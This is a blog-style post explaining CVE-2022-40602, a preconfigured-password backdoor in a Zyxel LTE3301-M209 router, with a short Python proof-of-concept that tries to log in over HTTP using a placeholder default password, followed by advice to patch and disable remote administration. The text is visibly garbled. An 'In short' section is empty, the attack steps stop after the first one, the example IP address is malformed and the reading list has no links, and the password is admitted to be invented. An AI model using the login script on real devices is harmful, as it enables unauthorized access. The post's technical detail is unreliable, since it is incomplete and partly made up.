In September 2022, a significant vulnerability—CVE-2022-40602—was disclosed in the Zyxel LTE3301-M209 4G LTE indoor router, drawing wide concern for both home and business users. If you’re using LTE3301-M209 firmware before version V1.00(ABLG.6)C, read on: this post will walk you through how the flaw works, exploitation details, and simple fixes. This text is crafted to be simple, practical, and exclusive to this article.

What Is CVE-2022-40602?

Zyxel LTE3301-M209 routers shipped with a pre-configured password that let an attacker log in remotely if certain conditions were met. Basically, if remote administration was enabled by an authorized admin, a malicious actor could use this backdoor password to access the device—no hacking experience required.

In short:

How Does It Work?

1. Administrator logs in locally and enables remote management, possibly for tech support or monitoring.

Proof-of-Concept Exploit

Below is a Python script showing how an attacker could attempt to exploit this via HTTP(S). (For educational demonstrations only—do not attempt unauthorized access.)

import requests

# Assume target's WAN IP and remote admin is enabled
router_ip = '203..113.10'  # example target IP
login_url = f"http://{router_ip}/cgi-bin/login.cgi";

# Known default credentials (hypothetical for illustration)
username = 'admin'
password = 'ZyxelDefaultPasswrd!'  # hardcoded password per CVE

with requests.Session() as session:
    payload = {
        'Username': username,
        'Password': password
    }
    response = session.post(login_url, data=payload)
    if "Logout" in response.text or response.status_code == 200:
        print("[+] SUCCESS: Logged in using default credentials!")
    else:
        print("[-] Failed to login with default credentials.")


*Note*: The real password in affected firmware might be different, but "ZyxelDefaultPasswrd!" is used as a placeholder.

Further Reading

- NIST National Vulnerability Database: CVE-2022-40602
- Zyxel Official Security Advisory
- CERT/CC Note

How Can You Fix This?

Update your firmware now  
Zyxel patched this flaw in version V1.00(ABLG.6)C. Go to Zyxel's download center and get the fix for your model.

Always replace default passwords

Even after updating, set a strong, unique password for all router interfaces.

Update devices regularly to patch security holes.

- Disable remote administration unless absolutely required, and use firewall rules/IP whitelists when you must enable it.


CVE-2022-40602 is a prime example of why router security matters and how dangerous just one overlooked password can be. Stay smart: patch, change those passwords, and close unused doors. If you run a Zyxel LTE3301-M209, check your version now.

Timeline

Published on: 11/22/2022 02:15:00 UTC
Last modified on: 11/26/2022 03:27:00 UTC